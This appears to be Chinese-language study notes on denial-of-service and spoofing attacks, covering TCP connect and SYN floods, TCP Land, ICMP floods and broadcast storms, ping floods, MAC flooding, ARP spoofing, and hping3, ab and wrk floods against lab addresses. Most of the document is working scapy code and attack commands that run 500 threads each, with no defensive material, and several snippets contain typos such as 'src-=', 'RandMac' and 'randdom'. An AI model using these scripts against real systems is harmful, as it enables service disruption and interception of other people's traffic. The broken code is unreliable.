泛洪
一、基础
1.什么是泛洪
- 泛洪的基本原理就是基于协议通信,完成大流量高并发操作,导致目标主机各类资源消耗过多资源而无法提供正常服务。基于多线程或多进程(MAC地址泛洪、ARP泛洪欺骗)
2.利用条件
- 供给端和目标主机之间能够正常通信
- 目标主机没有配置很好防御措施
3.使用socket三次握手泛洪
def socket_flood():
while True:
s = socket.socket()
s.connect(('192.168.101.2',3306))
if __name__ == '__main__':
for i in range(500):
threading.Thread(target=socket_flood).start()
4.使用scapy半连接泛洪
def scapy_flood():
while True:
sport=random.randint(10000,30000)
send(IP(dst="192.168.101.9")/TCP(sport=sport,dport=3306,flags='S'))
if __name__ == '__main__':
for i in range(500):
threading.Thread(target=scapy_flood).start()
5.TCP Land泛洪
- 源IP地址和目的IP地址是同一个
def scapy_flood():
while True:
sport=random.randint(10000,30000)
send(IP(src-='192.168.101.9',dst="192.168.101.9")/TCP(sport=sport,dport=3306,flags='S')/"hello,world")
if __name__ == '__main__':
for i in range(500):
threading.Thread(target=scapy_flood).start()
反射型攻击:张三要攻击李四,张三将攻击流量的源IP地址设置为王五的IP地址,李四将直接和王五通信,导致李四和王五都被攻击。如要攻击主机A,现在可以ping主机BCDEFGHIJK,但是设置ping的源地址为主机A
6.ICMP泛洪
def icmp_flood():
payload = "hello,world" * 50
while True:
send(IP(dst="192.168.101.9")/ICMP()/payload*100)
if __name__ == '__main__':
for i in range(500):
threading.Thread(target=icmp_flood).start()
7.ICMP广播风暴
- 广播数据包
def icmp_broadcast():
payload = "hello,world" * 50
while True:
send(IP(dst="192.168.101.255")/ICMP()/payload*100)
if __name__ == '__main__':
for i in range(500):
threading.Thread(target=icmp_broadcast).start()
8.使用Ping命令泛洪
- Linux中ping命令的-i参数可以设置发送时间间隔,-s设置包大小,-f设置尽最大能力发
- 将每次ping的时间间隔设置很短
- 将ping的数据包设置很大,添加负载
ping -i 0.001 -s 2000 192.168.101.9
ping -f 192.168.101.9
二、MAC地址泛洪
1.攻击原理
- 定义任意数据包,发送并生成随机的MAC地址,不停地发送该数据包,该数据包会流向交换机,而此时交换机会发现源MAC地址在MAC表中不存在,交换机会将其添加到MAC表中。如果发送数据量很大,则会填满MAC表,导致新的数据包无法添加到MAC表中,此时,理论上交换机就会广播,一旦交换机进行数据广播,则会导致整个局域网地数据流量全部全员可见。
- MAC地址泛洪也存在其他情况,比如交换机崩溃,或者整个局域网无法上网等情况
2.使用python实现
from scapy.volatile import RandMAC, RandIP
def mac_flood():
while True:
# 使用RandMa产生的randmac每次被调用的值都是随机的
randmac = RandMac("*:*:*:*:*:*")
srandip = f"{randdom.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}"
drandip = f"{randdom.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}"
packet = Ether(src=randmac,dst=randmac)/ip(src=srandip,dst=drandip)
# sendp用于发送二层数据包
sendp(packet,iface='填入要发送的网卡名',loop=0)
if __name__ == '__main__':
for i in range(500):
threading.Thread(target=mac_flood).start()
三、ARP攻击和欺骗
1.目的
- ARP攻击:目的是让某台主机无法上网
- ARP欺骗:让被攻击的主机的 流量经过攻击机
- ARP地址解析协议:用于将IP地址转换成MAC地址,进而让交换机可以正确找到目的地
2.Linux实施攻击
-
在Linux上进行攻击:使用arpspoof工具
arpspoof -i eth0 -t 被攻击IP 网关IP # 开启流量转发 echo 1 >> /proc/sys/net/ipv4/ip_forward # 实施ARP欺骗 arpspoof -i eth0 -t 被攻击IP 网关IP
3.使用scapy完成ARP欺骗
- 如何构造ARP欺骗数据包:攻击主机需要欺骗被攻击主机,让被攻击主机把攻击主机视为网关,这样出口流量可以经过该攻击主机,另外,攻击主机还需要欺骗网关,让网关以为入口流量的目的地就是攻击主机。攻击主机告诉被攻击主机我是网关,告诉网关我是被攻击主机。
windows7被攻击主机 IP:192.168.101.129 MAC:00:0c:29:ce:54:b6
kali linux攻击主机 IP:192.168.101.128 MAC:00:0c:29:42:2b:fc
网关 IP:192.168.101.1
-
python代码实现
def arp_spoof(): iface = "VMware Virtual Ethernet Adapter for VMnet8" # 被攻击主机的IP和mac target_ip = '192.168.101.129' target_mac = '00:0c:29:ce:54:b6' # 攻击主机的mac spoof_mac = '00:0c:29:42:2b:fc' # 网关IP gateway_ip = '192.168.101.1' # 用scapy内置函数通过IP获取mac gateway_mac = getmacbyip(gateway_ip) # 构造两个数据包,实现对被动技主机和网关的欺骗 while True: # op=1代表ARP请求,op=2代表ARP响应 # 欺骗被攻击主机 packet = Ether(src=spoof_mac, dst=target_mac)/ARP(hwsrc=spoof_mac, psrc=gateway_ip, hwdst=target_mac, pdst=target_ip, op=2) sendp(packet,iface=iface) # 欺骗网关 packet = Ether(src=spoof_mac, dst=target_mac)/ARP(hwsrc=spoof_mac, psrc=target_ip, hwdst=gateway_mac, pdst=gateway_ip, op=2) sendp(packet,iface=iface) time.sleep(1) if __name__ == '__main__': for i in range(500): threading.Thread(target=arp_spoof).start()
四、使用工具
1.hping3
-
syn+随机IP泛洪
hping3 --flood -S --rand-sorce -p 端口 目标IP hping3 -c 10000 -d 120 -S -p 80 --flood --rand-sorce 192.168.101.2 -c -> 发送的数量 -d -> 包的大小 -S -> 只发送SYN包 -p -> 指定目标端口 --flood -> 不显示回应,泛洪模式 --rand-sorce -> 使用随机的源IP
-
ICMP泛洪
hping3 --icmp --rand-source --flood -d 1400 192.168.101.2
2.web压力测试
-
ab压力测试
ab -n 100000 -c 1000 http://192.168.101.2/ -n -> 发包数量 -c -> 并发数量
-
wrk压力测试
wrk -c 100000 -d 300s -t 5 http://192.168.101.2/ -d -> 持续时间 -t -> 线程数量